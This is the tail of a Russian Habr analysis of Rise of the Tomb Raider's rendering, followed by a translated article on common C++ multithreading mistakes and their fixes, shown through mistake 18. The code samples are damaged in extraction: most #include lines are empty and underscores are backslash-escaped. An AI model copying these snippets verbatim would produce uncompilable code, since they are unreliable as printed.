Похоже, что Motion blur (размытие в движении) использует подход, очень схожий с решение в [Shadows of Mordor](https://habr.com/ru/post/430518/). После рендеринга объёмного освещения отдельный проход рендеринга выводит векторы движения из анимированных объектов в буфер движений. Затем этот буфер комбинируется с движением, вызванным камерой, а финальный буфер движений становится входными данным для прохода размытия, который выполняет размытие в направлении, указываемом векторами движения экранного пространства. Для оценки радиуса размытия за несколько проходов вычисляется текстура векторов движения в уменьшенном масштабе, чтобы каждый пиксель имел приблизительное представление о том, какое движение происходит по соседству с ним. Размытие выполняется за несколько проходов при половинном разрешении и, как мы видели, позже его масштаб с помощью стенсила увеличивается в два прохода. Несколько проходов выполняется по двум причинам: во-первых, чтобы уменьшить количество операций считывания текстур, необходимых для создания размытия с потенциально очень большим радиусом, во-вторых, потому что выполняются разные виды размытия. Это зависит от того, находился ли на текущих пикселях анимированный персонаж.
*Motion Blur до*
*Скорость Motion Blur*
*Motion Blur, проход 1*
*Motion Blur, проход 2*
*Motion Blur, проход 3*
*Motion Blur, проход 4*
*Motion Blur, проход 5*
*Motion Blur, проход 6*
*Motion Blur, увеличение масштаба внутренних частей*
*Motion Blur, увеличение масштаба краёв*
#### Дополнительные особенности и детали
Есть ещё несколько вещей, которые стоит упомянуть без особых подробностей.
1. Заморозка камеры: при холодной погоде добавляет на камеру снежинки и иней
2. Грязная камера: добавляет на камеру грязь
3. Цветокоррекция: в конце кадра выполняется небольшая цветокоррекция, использующая довольно стандартный цветовой куб для выполнения цветокоррекции, как это описано выше, а также добавляет шума, чтобы придать некоторым сценам суровости
#### UI
UI реализован немного необычно — он рендерит все элементы в линейном пространстве. Обычно ко времени рендеринга UI уже выполнила тональную коррекцию и гамма-коррекцию. Однако ROTR использует линейное пространство вплоть до самого конца кадра. Это имеет смысл, ведь в игре используется напоминающий 3D UI; однако перед записью в HDR-буфер sRGB-изображений их необходимо преобразовать в линейное пространство, чтобы самая последняя операция (гамма-коррекция) не искажала цветов.
#### Подведём итоги
Надеюсь, вам понравилось чтение этого анализа так же, как мне его создание. Лично я точно многому из него научился. Поздравляю талантливых разработчиков из [Crystal Dynamics](https://en.wikipedia.org/wiki/Crystal_Dynamics) с фантастической работой, проделанной для создания этого движка. Также хочу поблагодарить Балдура Карлссона за его фантастическую работу над Renderdoc. Его труд сделал отладку графики на PC гораздо более удобным процессом. Думаю, единственное, что было немного сложным в этом анализе — отслеживание самих запусков шейдеров, потому что на момент написания статьи эта функция недоступна для DX12. Надеюсь, со временем она появится и все мы будем очень довольны. | https://habr.com/ru/post/436500/ | null | ru | null |
# Топ 20 ошибок при работе с многопоточностью на С++ и способы избежать их
Привет, Хабр! Предлагаю вашему вниманию перевод статьи [«Top 20 C++ multithreading mistakes and how to avoid them»](https://www.acodersjourney.com/top-20-cplusplus-multithreading-mistakes/) автора Deb Haldar.
*Сцена из фильма «Петля времени» (2012)*
Многопоточность— одна из наиболее сложных областей в программировании, особенно в C++. За годы разработки я совершил множество ошибок. К счастью, большинство из них были выявлены на код ревью и тестировании. Тем не менее, некоторые каким-то образом проскакивали на продуктив, и нам приходилось править эксплуатируемые системы, что всегда дорого.
В этой статье я попытался категоризировать все известные мне ошибки с возможными решениями. Если вам известны еще какие-то подводные камни, либо имеете предложения по решению описанных ошибок– пожалуйста, оставляйте свои комментарии под статьей.
### Ошибка №1: Не использовать join() для ожидания фоновых потоков перед завершением приложения
Если вы забыли присоединить поток ([join()](https://en.cppreference.com/w/cpp/thread/thread/join)) или открепить его ([detach()](https://en.cppreference.com/w/cpp/thread/thread/detach)) (сделать его не joinable) до завершения программы, это приведет к аварийному завершению. (В переводе будут встречаться слова присоединить в контексте *join()* и открепить в контексте *detach()*, хотя это не совсем корректно. Фактически *join()* это точка, в которой один поток выполнения дожидается завершения другого, и никакого присоединения или объединения потоков не происходит [прим. переводчика]).
В примере ниже, мы забыли выполнить *join()* потока t1 в основном потоке:
`#include "stdafx.h"
#include
#include
using namespace std;
void LaunchRocket()
{
cout << "Launching Rocket" << endl;
}
int main()
{
thread t1(LaunchRocket);
//t1.join(); // как только мы забыли join- мы получаем аварийное завершение программы
return 0;
}`
Почему программа упала?! Потому что в конце функции *main()* переменная t1 вышла из области видимости и был вызван деструктор потока. В деструкторе происходит проверка является ли поток t1 *joinable*. Поток является *joinable*, если он не был откреплен. В этом случае в его деструкторе вызывается [std::terminate](https://en.cppreference.com/w/cpp/error/terminate). Вот что, например, делает компилятор MSVC++.
`~thread() _NOEXCEPT
{ // clean up
if (joinable())
XSTD terminate();
}`
Есть два способа исправления проблемы в зависимости от задачи:
1. Вызвать *join()* потока t1 в основном потоке:
`int main()
{
thread t1(LaunchRocket);
t1.join(); // выполняем join потока t1, ожидаем завершение этого потока в основном потоке выполнения
return 0;
}`
2. Открепить поток t1 от основного потока, позволить ему продолжить работать как «демонизированный» поток:
`int main()
{
thread t1(LaunchRocket);
t1.detach(); // открепление t1 от основного потока
return 0;
}`
### Ошибка №2: Пытаться присоединить поток, который ранее был откреплен
Если в какой-то точке работы программы у вас есть открепленный (*detach*) поток, вы не можете присоединить его обратно к основному потоку. Это очень очевидная ошибка. Проблема в том, что вы можете открепить поток, а потом написать несколько сотен строк кода и попробовать вновь присоединить его. В конце концов, кто помнит, что он писал 300 строк назад, верно?
Проблема в том, что это не вызовет ошибку компиляции, вместо этого программа аварийно завершится при запуске. Например:
`#include "stdafx.h"
#include
#include
using namespace std;
void LaunchRocket()
{
cout << "Launching Rocket" << endl;
}
int main()
{
thread t1(LaunchRocket);
t1.detach();
//..... 100 строк какого-то кода
t1.join(); // CRASH !!!
return 0;
}`
Решение заключается в том, что необходимо всегда делать проверку потока на *joinable()* перед тем как пытаться его присоединить к вызывающему потоку.
`int main()
{
thread t1(LaunchRocket);
t1.detach();
//..... 100 строк какого-то кода
if (t1.joinable())
{
t1.join();
}
return 0;
}`
### Ошибка №3: Непонимание того, что std::thread::join() блокирует вызывающий поток выполнения
В реальных приложениях вам часто может потребоваться выделить в отдельный поток «долгоиграющие» операции обработки сетевого ввода-вывода или ожидания нажатия пользователя на кнопку и т.п. Вызов *join()* для таких рабочих потоков (например поток отрисовки UI) может привести к зависанию пользовательского интерфейса. Существуют более подходящие способы реализации.
Например, в GUI приложениях рабочий поток при завершении может отправить сообщение UI потоку. UI поток имеет собственный цикл обработки событий таких как: перемещение мыши, нажатие на клавиши и т.д. Этот цикл также может принимать сообщения от рабочих потоков и реагировать на них без необходимости вызова блокирующего метода *join()*.
По этой самой причине в платформе [WinRT](https://msdn.microsoft.com/en-us/magazine/mt745094.aspx) от Microsoft практически все взаимодействия с пользователем сделаны асинхронными, а синхронные альтернативы недоступны. Эти решения были приняты для гарантии того, что разработчики будут использовать API, которое предоставляет наилучший опыт использования для конечных пользователей. Можно обратиться к руководству «[Modern C++ and Windows Store Apps](https://www.amazon.com/Modern-C-Windows-Store-Apps/dp/0989020800/ref=sr_1_19?ie=UTF8&qid=1503240778&sr=8-19&keywords=Modern+C%2B%2B)» для получения более подробной информации по данной теме.
### Ошибка №4: Считать, что аргументы функции потока по умолчанию передаются по ссылке
Аргументы функции потока по умолчанию передаются по значению. Если вам необходимо внести изменения в передаваемые аргументы, необходимо передавать их по ссылке с помощью функции [std::ref()](https://en.cppreference.com/w/cpp/utility/functional/ref).
Под спойлером примеры из другой статьи [C++11 Multithreading Tutorial via Q&A – Thread Management Basics (Deb Haldar)](https://www.acodersjourney.com/c11-multithreading-tutorial-via-faq-thread-management-basics/), иллюстрирующие передачу параметров [прим. переводчика].
**подробнее:**При выполнении кода:
`#include "stdafx.h"
#include
#include
#include
#include
using namespace std;
void ChangeCurrentMissileTarget(string& targetCity)
{
targetCity = "Metropolis";
cout << " Changing The Target City To " << targetCity << endl;
}
int main()
{
string targetCity = "Star City";
thread t1(ChangeCurrentMissileTarget, targetCity);
t1.join();
cout << "Current Target City is " << targetCity << endl;
return 0;
}`
Будет выведено в терминал:
`Changing The Target City To Metropolis
Current Target City is Star City`
Как видите, значение переменной *targetCity*, получаемой функцией, вызываемой в потоке, по ссылке не изменилось.
Перепишем код с использованием *std::ref()* для передачи аргумента:
`#include "stdafx.h"
#include
#include
#include
#include
using namespace std;
void ChangeCurrentMissileTarget(string& targetCity)
{
targetCity = "Metropolis";
cout << " Changing The Target City To " << targetCity << endl;
}
int main()
{
string targetCity = "Star City";
thread t1(ChangeCurrentMissileTarget, std::ref(targetCity));
t1.join();
cout << "Current Target City is " << targetCity << endl;
return 0;
}`
Будет выведено:
`Changing The Target City To Metropolis
Current Target City is Metropolis`
Изменения, сделанные в новом потоке, отразятся на значении переменной *targetCity* объявленной и инициализированной в функции *main*.
### Ошибка №5: Не защищать разделяемые данные и ресурсы с помощью критической секции (например мьютексом)
В многопоточном окружении обычно более одного потока конкурируют за ресурсы и общие данные. Часто это приводит к неопределенному состоянию для ресурсов и данных, кроме случаев, когда доступ к ним защищен неким механизмом, позволяющим только одному потоку выполнения производить операции над ними в каждый момент времени.
В примере ниже *std::cout* является разделяемым ресурсом, с которым работают 6 потоков (t1-t5 + main).
`#include "stdafx.h"
#include
#include
#include
#include
using namespace std;
std::mutex mu;
void CallHome(string message)
{
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
}
int main()
{
thread t1(CallHome, "Hello from Jupiter");
thread t2(CallHome, "Hello from Pluto");
thread t3(CallHome, "Hello from Moon");
CallHome("Hello from Main/Earth");
thread t4(CallHome, "Hello from Uranus");
thread t5(CallHome, "Hello from Neptune");
t1.join();
t2.join();
t3.join();
t4.join();
t5.join();
return 0;
}`
Если мы выполним эту программу, то получим вывод:
`Thread 0x1000fb5c0 says Hello from Main/Earth
Thread Thread Thread 0x700005bd20000x700005b4f000 says says Thread Thread Hello from Pluto0x700005c55000Hello from Jupiter says 0x700005d5b000Hello from Moon
0x700005cd8000 says says Hello from Uranus
Hello from Neptune`
Это происходит потому, что пять потоков одновременно обращаются к потоку вывода в произвольном порядке. Чтобы сделать вывод более определенным, необходимо защитить доступ к разделяемому ресурсу с помощью [std::mutex](https://ru.cppreference.com/w/cpp/thread/mutex). Просто изменим функцию *CallHome()* таким образом, чтобы она захватывала мьютекс перед использованием *std::cout* и освобождала его после.
`void CallHome(string message)
{
mu.lock();
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
mu.unlock();
}`
### Ошибка №6: Забыть освободить блокировку после выхода из критической секции
В предыдущем пункте вы видели как защитить критическую секцию с помощью мьютекса. Однако, вызов методов *lock()* и *unlock()* непосредственно у мьютекса не является предпочтительным вариантом потому, что вы можете забыть отдать удерживаемую блокировку. Что произойдет дальше? Все остальные потоки, которые ожидают освобождения ресурса, будут бесконечно заблокированы и программа может зависнуть.
В нашем синтетическом примере, если вы забыли разблокировать мьютекс в вызове функции *CallHome()*, в стандартный поток будет выведено первое сообщение из потока t1 и программа зависнет. Так происходит из-за того, что поток t1 получил блокировку мьютекса, а остальные потоки ждут освобождения этой блокировки.
`void CallHome(string message)
{
mu.lock();
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
//mu.unlock(); мы забыли освободить блокировку
}`
Ниже приведен вывод данного кода– программа зависла, выведя единственное сообщение в терминал, и не завершается:
`Thread 0x700005986000 says Hello from Pluto`
Подобные ошибки часто случаются, именно поэтому нежелательно использовать методы *lock()/unlock()* напрямую из мьютекса. Вместо этого следует использовать шаблонный класс [std::lock\_guard](https://en.cppreference.com/w/cpp/thread/lock_guard), который использует идиому [RAII](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D1%80%D0%B5%D1%81%D1%83%D1%80%D1%81%D0%B0_%D0%B5%D1%81%D1%82%D1%8C_%D0%B8%D0%BD%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) для управления временем жизни блокировки. Когда объект *lock\_guard* создаётся, он пытается завладеть мьютексом. Когда программа выходит из области видимости *lock\_guard* объекта, вызывается деструктор, который освобождает мьютекс.
Перепишем функцию *CallHome()* с применением *std::lock\_guard* объекта:
`void CallHome(string message)
{
std::lock\_guard<std::mutex> lock(mu); // пытаемся захватить блокировку
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
}// объект lock\_guard уничтожится и освободит мьютекс`
### Ошибка №7: Делать размер критической секции больше, чем это необходимо
Когда один поток выполняется внутри критической секции все остальные, пытающиеся в нее войти, по сути заблокированы. Мы должны держать минимальное количество инструкций в критической секции, насколько это возможно. Для иллюстрации приведен пример плохого кода, имеющего большую критическую секцию:
`void CallHome(string message)
{
std::lock\_guard<std::mutex> lock(mu); // Начало критической секции, защищаем доступ к std::cout
ReadFifyThousandRecords();
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
}// при уничтожении объекта lock\_guard блокировка на мьютекс mu освобождается`
Метод *ReadFifyThousandRecords()* не модифицирует данные. Нет никаких причин выполнять его под блокировкой. Если данный метод будет выполняться 10 секунд, считывая 50 тысяч строк из БД, все остальные потоки будут заблокированы на весь этот период без необходимости. Это может серьезно сказаться на производительности программы.
Правильным решением было бы держать в критической секции только работу с *std::cout*.
`void CallHome(string message)
{
ReadFifyThousandRecords(); // Нет необходимости держать данный метод в критической секции т.к. он не модифицирует данные
std::lock\_guard<std::mutex> lock(mu); // Начало критической секции, защищаем доступ к std::cout
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
}// при уничтожении объекта lock\_guard блокировка на мьютекс mu освобождается`
### Ошибка №8: Взятие нескольких блокировок в разном порядке
Это одна из наиболее распространенных причин взаимной блокировки ([deadlock](https://en.wikipedia.org/wiki/Deadlock)), ситуации, в которой потоки оказываются бесконечно заблокированы из-за ожидания получения доступа к ресурсам, заблокированным другими потоками. Рассмотрим пример:
| поток 1 | поток 2 |
| --- | --- |
| lock A | lock B |
| //… какие-то операции | //… какие-то операции |
| lock B | lock A |
| //… какие-то еще операции | //… какие-то еще операции |
| unlock B | unlock A |
| unlock A | unlock B |
Может возникнуть ситуация, в которой поток 1 попытается захватить блокировку B и окажется заблокированным, потому что поток 2 уже ее захватил. В тоже время, второй поток пытается захватить блокировку A, но не может этого сделать, потому что ее захватил первый поток. Поток 1 не может освободить блокировку A пока не захватит блокировку B и т.д. Другими словами, программа зависнет.
Данный пример кода поможет вам воспроизвести *deadlock*:
`#include "stdafx.h"
#include
#include
#include
#include
using namespace std;
std::mutex muA;
std::mutex muB;
void CallHome_Th1(string message)
{
muA.lock();
// выполнение каких-то операций
std::this\_thread::sleep\_for(std::chrono::milliseconds(100));
muB.lock();
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
muB.unlock();
muA.unlock();
}
void CallHome_Th2(string message)
{
muB.lock();
// какие-то дополнительные операции
std::this\_thread::sleep\_for(std::chrono::milliseconds(100));
muA.lock();
cout << "Thread " << this_thread::get\_id() << " says " << message << endl;
muA.unlock();
muB.unlock();
}
int main()
{
thread t1(CallHome_Th1, "Hello from Jupiter");
thread t2(CallHome_Th2, "Hello from Pluto");
t1.join();
t2.join();
return 0;
}`
Если вы запустите этот код, он зависнет. Если залезть глубже в отладчик в окно потоков, вы увидите, что первый поток (вызванный из функции *CallHome\_Th1()*) пытается получить блокировку мьютекса B, в то время как поток 2 (вызванный из *CallHome\_Th2()*) пытается заблокировать мьютекс A. Никто из потоков не может достичь успеха, что и приводит к взаимной блокировке!
[](https://habrastorage.org/webt/ud/kf/a5/udkfa53cvuh8xsrn8lljglb09fa.png)
(картинка кликабельна)
Что вы можете с этим сделать? Лучшим решением было бы переструктурировать код таким образом, чтобы захват блокировок всякий раз происходил в одном и том же порядке.
В зависимости от ситуации можно воспользоваться другими стратегиями:
1. Использовать класс-обертку [std::scoped\_lock](https://en.cppreference.com/w/cpp/thread/scoped_lock) для совместного захвата нескольких блокировок:
`std::scoped\_lock lock{muA, muB};`
2. Воспользоваться классом [std::timed\_mutex](https://en.cppreference.com/w/cpp/thread/timed_mutex), в котором можно указать таймаут, по истечении которого блокировка будет снята, если ресурс не стал доступен.
`std::timed\_mutex m;
void DoSome(){
std::chrono::milliseconds timeout(100);
while(true){
if(m.try\_lock\_for(timeout)){
std::cout << std::this\_thread::get\_id() << ": acquire mutex successfully" << std::endl;
m.unlock();
} else {
std::cout << std::this\_thread::get\_id() << ": can’t acquire mutex, do something else" << std::endl;
}
}
}`
### Ошибка №9: Пытаться дважды захватить блокировку std::mutex
Попытка дважды захватить блокировку приведет к неопределенному поведению. В большинстве отладочных реализаций это приведет к аварийному завершению. Например, в представленном ниже коде *LaunchRocket()* заблокирует мьютекс и после этого вызовет *StartThruster()*. Что любопытно, в приведенном коде вы не столкнетесь с этой проблемой при нормальной работе программы, проблема возникает только при выбросе исключения, который сопровождается неопределенным поведением или аварийным завершением программы.
`#include "stdafx.h"
#include
#include
#include
std::mutex mu;
static int counter = 0;
void StartThruster()
{
try
{
// какие-то операции
}
catch (...)
{
std::lock\_guard<std::mutex> lock(mu);
std::cout << "Launching rocket" << std::endl;
}
}
void LaunchRocket()
{
std::lock\_guard<std::mutex> lock(mu);
counter++;
StartThruster();
}
int main()
{
std::thread t1(LaunchRocket);
t1.join();
return 0;
}`
Для устранения этой проблемы необходимо исправить код таким образом, чтобы исключить повторное взятие ранее полученных блокировок. В качестве костыльного решения можно использовать [std::recursive\_mutex](https://en.cppreference.com/w/cpp/thread/recursive_mutex), но такое решение практически всегда свидетельствует о плохой архитектуре программы.
### Ошибка №10: Использовать мьютексы, когда достаточно std::atomic типов
Когда вам необходимо изменять простые типы данных, например, булево значение или целочисленный счетчик, использование [std:atomic](https://en.cppreference.com/w/cpp/atomic/atomic), как правило, даст лучшую производительность по сравнению с использованием мьютексов.
Например, вместо того чтобы использовать следующую конструкцию:
`int counter;
...
mu.lock();
counter++;
mu.unlock();`
Лучше объявить переменную как *std::atomic*:
`std::atomic<int> counter;
...
counter++;`
Для получения подробного сравнения mutex и atomic обратитесь к статье [«Comparison: Lockless programming with atomics in C++ 11 vs. mutex and RW-locks»](https://www.arangodb.com/2015/02/comparing-atomic-mutex-rwlocks/)
### Ошибка №11: Создавать и разрушать большое количество потоков напрямую, вместо использования пула свободных потоков
Создание и уничтожение потоков– дорогостоящие операции с точки зрения использования процессорного времени. Представим попытку создания потока в то время, как система производит ресурсоемкие вычислительные операции, например, отрисовку графики или вычисление игровой физики. Подход, часто используемый для подобных задач, заключается в создании пула предварительно выделенных потоков, которые могут обрабатывать рутинные задачи, такие как запись на диск или отправка данных по сети в течение всего жизненного цикла процесса.
Еще одно преимущество пула потоков, по сравнению с порождением и уничтожением потоков самостоятельно, заключается в том, что вам не нужно беспокоиться об [thread oversubscription](https://software.intel.com/en-us/vtune-amplifier-help-thread-oversubscription) (ситуация, в которой количество потоков превышает количество доступных ядер и значительная часть процессорного времени тратится на переключение контекста [прим. переводчика]). Это может повлиять на производительность системы.
Кроме того, использование пула избавляет нас от мук управления жизненным циклом потоков, что в итоге выливается в более компактный код с меньшим количеством ошибок.
Две наиболее популярные библиотеки, реализующие пул потоков: [Intel Thread Building Blocks(TBB)](https://www.amazon.com/Intel-Threading-Building-Blocks-Parallelism/dp/0596514808/ref=sr_1_1?ie=UTF8&qid=1502746643&sr=8-1&keywords=thread+building+block) и [Microsoft Parallel Patterns Library(PPL)](https://msdn.microsoft.com/en-us/library/dd492418.aspx).
### Ошибка №12: Не обрабатывать исключения, возникающие в фоновых потоках
Исключения, выброшенные в одном потоке, не могут быть обработаны в другом потоке. Давайте представим, что у нас есть функция которая выбрасывает исключение. Если мы выполним эту функцию в отдельном потоке, ответвлённом от основного потока выполнения, и ожидаем, что мы перехватим любое исключение, выброшенное из дополнительного потока, то это не сработает. Рассмотрим пример:
`#include "stdafx.h"
#include
#include
#include
#include
static std::exception\_ptr teptr = nullptr;
void LaunchRocket()
{
throw std::runtime\_error("Catch me in MAIN");
}
int main()
{
try
{
std::thread t1(LaunchRocket);
t1.join();
}
catch (const std::exception &ex)
{
std::cout << "Thread exited with exception: " << ex.what() << "\n";
}
return 0;
}`
При выполнении этой программы произойдет аварийное завершение, однако, catch блок в функции main() не выполнится и не обработает исключение, выброшенное в потоке t1.
Решение данной проблемы заключается в использовании возможности из C++11: [std::exception\_ptr](https://en.cppreference.com/w/cpp/error/exception_ptr) применяется для обработки исключения, выброшенного в фоновом потоке. Вот шаги, которые необходимо предпринять:
* Создать глобальный экземпляр класса *std::exception\_ptr*, инициализированный *nullptr*
* Внутри функции, которая выполняется в отдельном потоке, обрабатывать все исключения и устанавливать значение [std::current\_exception()](https://en.cppreference.com/w/cpp/error/current_exception) глобальной переменной *std::exception\_ptr*, объявленой на предыдущем шаге
* Внутри основного потока проверять значение глобальной переменной
* Если значение установлено, использовать функцию [std::rethrow\_exception(exception\_ptr p)](https://en.cppreference.com/w/cpp/error/rethrow_exception) для повторного вызова пойманного ранее исключения, передав его по ссылке как параметр
Повторный вызов исключения по ссылке происходит не в том потоке, в котором оно было создано, таким образом данная возможность отлично подходит для обработки исключений в разных потоках.
В коде, представленном ниже, достигается безопасная обработка исключения, выброшенного в фоновом потоке.
`#include "stdafx.h"
#include
#include
#include
#include
static std::exception\_ptr globalExceptionPtr = nullptr;
void LaunchRocket()
{
try
{
std::this\_thread::sleep\_for(std::chrono::milliseconds(100));
throw std::runtime\_error("Catch me in MAIN");
}
catch (...)
{
//При возникновении исключения присваиваем значение указателю
globalExceptionPtr = std::current\_exception();
}
}
int main()
{
std::thread t1(LaunchRocket);
t1.join();
if (globalExceptionPtr)
{
try
{
std::rethrow\_exception(globalExceptionPtr);
}
catch (const std::exception &ex)
{
std::cout << "Thread exited with exception: " << ex.what() << "\n";
}
}
return 0;
}`
### Ошибка №13: Использовать потоки для симуляции асинхронной работы, вместо применения std::async
Если вам нужно, чтобы код выполнился асинхронно, т.е. без блокировки основного потока выполнения, наилучшим выбором будет использование [std::async()](https://en.cppreference.com/w/cpp/thread/async). Это равносильно созданию потока и передаче необходимого кода на выполнение в этот поток через указатель на функцию или параметр в виде лямбда функции. Однако, в последнем случае вам необходимо следить за созданием, присоединением/отсоединением этого потока, а также за обработкой всех исключений, которые могут возникнуть в этом потоке. Если вы используете *std::async()*, вы избавляете себя от этих проблем, а также резко снижаете свои шансы попасть в *deadlock*.
Другое значительное преимущество использования *std::async* заключается в возможности получить результат выполнения асинхронной операции обратно в вызывающий поток с помощью [std::future](https://en.cppreference.com/w/cpp/thread/future) объекта. Представим, что у нас есть функция *ConjureMagic()*, которая возвращает int. Мы можем запустить асинхронную операцию, которая установит значение в будущем в *future* объект, когда выполнение задачи завершится, и мы сможем извлечь результат выполнения из этого объекта в том потоке выполнения, из которого операция была вызвана.
`// запуск асинхронной операции и получение обработчика для future
std::future asyncResult2 = std::async(&ConjureMagic);
//... выполнение каких-то операций пока future не будет установлено
// получение результата выполнения из future
int v = asyncResult2.get();`
Получение результата обратно из работающего потока в вызывающий более громоздко. Возможны два способа:
1. Передача ссылки на выходную переменную потоку, в которой он сохранит результат.
2. Хранить результат в переменной-поле объекта рабочего потока, которую можно будет считать как только поток завершит выполнение.
[Kurt Guntheroth](https://www.amazon.com/Optimized-Proven-Techniques-Heightened-Performance/dp/1491922060/ref=sr_1_1?s=books&ie=UTF8&qid=1502553402&sr=1-1) обнаружил, что с точки зрения производительности, накладные расходы на создание потока в 14 раз больше, чем использование *async*.
Итог: используйте *std::async()* по умолчанию, пока вы не найдете весомые аргументы в пользу использования непосредственно *std::thread*.
### Ошибка №14: Не использовать std::launch::async если требуется асинхронность
Функция *std::async()* носит не совсем корректное название, потому что по умолчанию может не выполняться асинхронно!
Есть две политики выполнения *std::async*:
1. *std::launch::async*: переданная функция начинает выполняться незамедлительно в отдельном потоке
2. *std::launch::deferred*: переданная функция не запускается сразу же, ее запуск откладывается до того как будут произведены вызовы *get()* или *wait()* над *std::future* объектом, который будет возвращен из вызова *std::async*. В месте вызова этих методов, функция будет выполняться синхронно.
Когда мы вызываем *std::async()* с параметрами по умолчанию, происходит запуск с комбинацией этих двух параметров, что в действительности приводит к непредсказуемому поведению. Существует ряд других сложностей, связанных с использованием *std:async()* с политикой запуска по умолчанию:
* невозможность предсказать правильность доступа к локальным переменным потока
* асинхронная задача может и вовсе не запуститься из-за того, что вызовы методов *get()* и *wait()* могут не быть вызваны в течение выполнения программы
* при использовании в циклах, в которых условие выхода ожидает готовности std::future объекта, эти циклы могут никогда не завершиться, потому что std::future, возвращаемое вызовом std::async, может начаться в отложенном состоянии.
Для избежания всех этих сложностей **всегда** вызывайте *std::async* с политикой запуска *std::launch::async*.
Не делайте так:
`//выполнение функции myFunction используя std::async с политикой запуска по умолчанию
auto myFuture = std::async(myFunction);`
Вместо этого делайте так:
`//выполнение функции myFunction асинхронно
auto myFuture = std::async(std::launch::async, myFunction);`
Более подробно этот момент рассмотрен в книге Скотта Мейерса «Эффективный и современный С++».
### Ошибка №15: Вызывать метод get() у std::future объекта в блоке кода, время выполнение которого критично
Приведенный ниже код обрабатывает результат, полученный из *std::future* объекта асинхронной операции. Однако, цикл *while* будет заблокирован, пока асинхронная операция не выполнится (в данном случае на 10 секунд). Если вы хотите использовать данный цикл для вывода информации на экран, это может привести к неприятным задержкам отрисовки пользовательского интерфейса.
`#include "stdafx.h"
#include
#include
int main()
{
std::future<int> myFuture = std::async(std::launch::async, []()
{
std::this\_thread::sleep\_for(std::chrono::seconds(10));
return 8;
});
// Цикл обновления для выводимых данных
while (true)
{
// вывод некоторой информации в терминал
std::cout << "Rendering Data" << std::endl;
int val = myFuture.get(); // вызов блокируется на 10 секунд
// выполнение каких-то операций над Val
}
return 0;
}`
**Замечание**: еще одна проблема приведенного выше кода в том, что он пытается обратиться к *std::future* объекту второй раз, хотя состояние *std::future* объекта было извлечено на первой итерации цикла и повторно не может быть получено.
Правильным решением было бы проверять валидность *std::future* объекта перед вызовом *get()* метода. Таким образом, мы не блокируем завершение асинхронного задания и не пытаемся повторно опросить уже извлеченный *std::future* объект.
Данный фрагмент кода позволяет достичь этого:
`#include "stdafx.h"
#include
#include
int main()
{
std::future<int> myFuture = std::async(std::launch::async, []()
{
std::this\_thread::sleep\_for(std::chrono::seconds(10));
return 8;
});
// Цикл обновления для выводимых данных
while (true)
{
// вывод некоторой информации в терминал
std::cout << "Rendering Data" << std::endl;
if (myFuture.valid())
{
int val = myFuture.get(); // вызов блокируется на 10 секунд
// выполнение каких-то операций над Val
}
}
return 0;
}`
### Ошибка №16: Непонимание того, что исключения, выброшенные внутри асинхронной операции, передадутся в вызывающий поток только при вызове std::future::get()
Представим что у нас есть следующий фрагмент кода, как вы думаете, каким будет результат вызова *std::future::get()*?
`#include "stdafx.h"
#include
#include
int main()
{
std::future<int> myFuture = std::async(std::launch::async, []()
{
throw std::runtime\_error("Catch me in MAIN");
return 8;
});
if (myFuture.valid())
{
int result = myFuture.get();
}
return 0;
}`
Если вы предположили что программа упадет– вы совершенно правы!
Исключение, выброшенное в асинхронной операции прокидывается только когда происходит вызов метода *get()* у *std::future объекта*. И если метод *get()* вызван не будет, то исключение будет проигнорировано и отброшено, когда *std::future* объект выйдет из области видимости.
Если ваша асинхронная операция может выбросить исключение, то необходимо всегда оборачивать вызов *std::future::get()* в *try/catch* блок. Пример как это может выглядеть:
`#include "stdafx.h"
#include
#include
int main()
{
std::future<int> myFuture = std::async(std::launch::async, []()
{
throw std::runtime\_error("Catch me in MAIN");
return 8;
});
if (myFuture.valid())
{
try
{
int result = myFuture.get();
}
catch (const std::runtime\_error& e)
{
std::cout << "Async task threw exception: " << e.what() << std::endl;
}
}
return 0;
}`
### Ошибка №17: Использование std::async, когда требуется чёткий контроль над исполнением потока
Хотя *std::async()* достаточно в большинстве случаев, бывают ситуации, в которых вам может потребоваться тщательный контроль над выполнением вашего кода в потоке. Например, если вы хотите привязать определенный поток к конкретному ядру процессора в многопроцессорной системе (например Xbox).
Приведенный фрагмент кода устанавливает привязку потока к 5-му процессорному ядру в системе.
`#include "stdafx.h"
#include
#include
#include
using namespace std;
void LaunchRocket()
{
cout << "Launching Rocket" << endl;
}
int main()
{
thread t1(LaunchRocket);
DWORD result = ::SetThreadIdealProcessor(t1.native\_handle(), 5);
t1.join();
return 0;
}`
Это возможно благодаря методу [native\_handle()](https://en.cppreference.com/w/cpp/thread/thread/native_handle) объекта *std::thread*, и передаче его в потоковую функцию [Win32 API](https://msdn.microsoft.com/en-us/library/ms684852(v=vs.85).aspx). Существует множество других возможностей, предоставляемых через потоковое Win32 API, которые не доступны в *std::thread* или *std::async()*. При работе через *std::async()* эти базовые функции платформы недоступны, что и делает этот способ непригодным для более сложных задач.
Альтернативный вариант— создать [std::packaged\_task](https://en.cppreference.com/w/cpp/thread/packaged_task) и переместить его в нужный поток выполнения после установки свойств потока.
### Ошибка №18: Создавать намного больше «выполняющихся» потоков, чем доступно ядер
С точки зрения архитектуры потоки можно классифицировать на две группы: «выполняющиеся» и «ожидающие».
Выполняющиеся потоки утилизируют 100% процессорного времени ядра на котором работают. Когда более одного выполняющегося потока выделено на одно ядро, эффективность утилизации процессорного времени падает. Мы не получаем выигрыша в производительности, если выполняем более одного выполняющегося потока на одном процессорном ядре– в действительности производительность падает из-за дополнительных переключений контекста.
Ожидающие потоки утилизируют только несколько тактов ядра на котором выполняются пока ожидают системных событий или сетевого ввода-вывода и т.д. При этом бОльшая часть доступного процессорного времени ядра остается не использована. Один ожидающий поток может обрабатывать данные, в то время как остальные ожидают срабатывания событий– вот почему выгодно распределять несколько ожидающих потоков на одно ядро. Планирование нескольких ожидающих потоков на одно ядро может обеспечить гораздо большую производительность программы.
